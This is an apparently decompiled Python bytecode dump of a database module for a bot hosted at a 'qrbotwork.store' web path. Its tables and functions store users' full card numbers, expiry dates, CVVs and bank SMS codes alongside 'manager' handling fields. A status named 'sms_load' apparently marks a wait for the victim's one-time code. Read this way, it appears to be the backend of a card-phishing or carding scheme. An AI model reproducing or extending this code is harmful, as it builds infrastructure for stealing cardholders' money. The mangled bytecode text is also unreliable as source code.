o
    ;h(                     @   s   d dl Z d dlmZ dZdd Zdd Zdd	 Zd
d Zdd Zd%ddZdd Z				d&ddZ
		d'ddZdd Zdd Zdd Zd(ddZd d! Zd)d#d$ZdS )*    N)datetimezdata.dbc                  C   sX   t t} |  }|d |d |d |d |d |   |   dS )u0   Инициализация базы данныхa  
        CREATE TABLE IF NOT EXISTS users (
            user_id INTEGER PRIMARY KEY,
            username TEXT,
            first_name TEXT,
            last_name TEXT,
            status TEXT DEFAULT 'active',
            balance REAL DEFAULT 0,
            zayavki TEXT
        )
    a  
        CREATE TABLE IF NOT EXISTS payments (
            user_id INTEGER,
            id_zayavki INTEGER PRIMARY KEY AUTOINCREMENT,
            status TEXT DEFAULT 'pending',
            manager TEXT,
            date_time TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
            phone TEXT,
            summa REAL,
            qr_code TEXT,
            link TEXT,
            card_number TEXT,
            card_date TEXT,
            sms_code TEXT,
            cvv TEXT,
            FOREIGN KEY(user_id) REFERENCES users(user_id)
        )
    af  
        CREATE TABLE IF NOT EXISTS invoice_payments (
            invoice_id INTEGER PRIMARY KEY,
            user_id INTEGER,
            amount_rub REAL,
            amount_usd REAL,
            status TEXT DEFAULT 'paid',
            date_time TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
            FOREIGN KEY(user_id) REFERENCES users(user_id)
        )
    a  
        CREATE TABLE IF NOT EXISTS withdrawals (
            user_id INTEGER,
            id_zayavki INTEGER PRIMARY KEY AUTOINCREMENT,
            status TEXT DEFAULT 'pending',
            manager TEXT,
            date_time TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
            summa REAL,
            vivod_rekvizit TEXT,
            tip TEXT,
            vivod_name TEXT,
            FOREIGN KEY(user_id) REFERENCES users(user_id)
        )
    z
        CREATE TABLE IF NOT EXISTS manager (
            user_id INTEGER PRIMARY KEY,
            name TEXT,
            status TEXT DEFAULT 'active'
        )
    Nsqlite3connectDB_PATHcursorexecutecommitclose)connr    r   0/var/www/www-root/data/www/qrbotwork.store/db.pyinit_db   s   





r   c                 C   s:   t t}| }|d| |||f |  |  dS )uC   Сохранить или обновить пользователяzp
        INSERT OR IGNORE INTO users (user_id, username, first_name, last_name)
        VALUES (?, ?, ?, ?)
    Nr   )user_idusername
first_name	last_namer   r   r   r   r   	save_userU   s   

r   c                 C   s@   t t}| }|d| f | }|  |r|d S dS )u6   Получить баланс пользователяz+SELECT balance FROM users WHERE user_id = ?r   g        r   r   r   r   r   fetchoner
   )r   r   r   resultr   r   r   get_user_balanceb   s   
r   c                 C   s^   t t}| }|d| f | s|d| |f n|d|| f |  |  dS )u8   Пополнить баланс пользователяz+SELECT user_id FROM users WHERE user_id = ?z2INSERT INTO users (user_id, balance) VALUES (?, ?)zN
            UPDATE users SET balance = balance + ? WHERE user_id = ?
        N)r   r   r   r   r   r   r	   r
   )r   amountr   r   r   r   r   update_user_balancem   s   
r   c                 C   s<   t t}| }|d| f | d dk}|  |S )uF   Проверить, был ли инвойс уже обработанz:SELECT COUNT(*) FROM invoice_payments WHERE invoice_id = ?r   r   )
invoice_idr   r   r   r   r   r   is_invoice_processed   s   
r   c              
   C   s   z&t t}| }t d}|d| ||||f |  |	  W dS  t j
y1   Y dS  tyJ } ztd|  W Y d}~dS d}~ww )uT   Сохранить информацию об обработанном инвойсе%Y-%m-%d %H:%M:%Sz
            INSERT INTO invoice_payments (invoice_id, user_id, amount_rub, amount_usd, status, date_time)
            VALUES (?, ?, ?, ?, 'paid', ?)
        TFu#   Ошибка save_invoice_payment: N)r   r   r   r   r   nowstrftimer   r	   r
   IntegrityError	Exceptionprint)r   r   
amount_rub
amount_usdr   r   	date_timeer   r   r   save_invoice_payment   s"   
r&   c                 C   4   t t}| }|d| f | }|  |S )uu   Получить все пополнения баланса через инвойсы для пользователяz
        SELECT invoice_id, amount_rub, amount_usd, date_time 
        FROM invoice_payments 
        WHERE user_id = ? 
        ORDER BY date_time DESC
    r   r   r   r   r   fetchallr
   r   r   r   paymentsr   r   r   get_user_invoice_payments   s   
r,   pending c                 C   s   z2t t}| }|du rt d}|d| |||||||||	|
||f |  |	  W dS  t
yL } ztd|  W Y d}~dS d}~ww )uF   Сохранить информацию о платеже/заявкеNr   z
            INSERT INTO payments (user_id, id_zayavki, status, date_time, phone, summa, manager, 
                                qr_code, link, card_number, card_date, sms_code, cvv)
            VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
        Tu   Ошибка save_payment: Fr   r   r   r   r   r   r   r   r	   r
   r    r!   )r   
id_zayavkistatusr$   phonesummamanagerqr_codelinkcard_number	card_datesms_codecvvr   r   r%   r   r   r   save_payment   s$   
r;   c	                 C   s   z.t t}	|	 }
|du rt d}|
d| ||||||||f	 |	  |		  W dS  t
yH } ztd|  W Y d}~dS d}~ww )uF   Сохранить информацию о выводе средствNr   z
            INSERT INTO withdrawals (user_id, id_zayavki, status, manager, date_time, summa, 
                                    vivod_rekvizit, tip, vivod_name)
            VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
        Tu   Ошибка save_withdrawal: Fr/   )r   r0   r1   r4   r$   r3   vivod_rekvizittip
vivod_namer   r   r%   r   r   r   save_withdrawal   s    
r?   c                 C   r'   )u?   Получить все платежи пользователяz@SELECT * FROM payments WHERE user_id = ? ORDER BY date_time DESCr(   r*   r   r   r   get_user_payments      
r@   c                 C   r'   )u=   Получить все выводы пользователяzCSELECT * FROM withdrawals WHERE user_id = ? ORDER BY date_time DESCr(   )r   r   r   withdrawalsr   r   r   get_user_withdrawals   rA   rC   c                 C   s6   t t}| }|d|| f |  |  dS )u,   Обновить статус платежаz3UPDATE payments SET status = ? WHERE id_zayavki = ?Nr   )r0   r1   r   r   r   r   r   update_payment_status   s
   
rD   c                 C   sN   t t}| }|r|d||| f n|d|| f |  |  dS )u*   Обновить статус выводаzCUPDATE withdrawals SET status = ?, manager = ? WHERE id_zayavki = ?z6UPDATE withdrawals SET status = ? WHERE id_zayavki = ?Nr   )r0   r1   r4   r   r   r   r   r   update_withdrawal_status  s   
rE   c                 C   sD   t t}| }|d| ||f | }|  |r |d S dS )uF   Получить платёж по номеру и дате картыz
        SELECT id_zayavki FROM payments 
        WHERE user_id = ? AND card_number = ? AND card_date = ? AND status = 'true'
        LIMIT 1
    r   Nr   )r   r7   r8   r   r   r   r   r   r   get_payment_by_card  s   
rF   sms_loadc                 C   s8   t t}| }|d||| f |  |  dS )uF   Обновить SMS-код в существующем платежеzO
        UPDATE payments SET status = ?, sms_code = ? WHERE id_zayavki = ?
    Nr   )r0   r9   r1   r   r   r   r   r   update_payment_sms"  s   
rH   )r   )Nr-   Nr.   r   r.   r.   r.   r.   r.   r.   r.   )Nr-   NNr   r.   r.   r.   )N)r.   rG   )r   r   r   r   r   r   r   r   r&   r,   r;   r?   r@   rC   rD   rE   rF   rH   r   r   r   r   <module>   s.    O




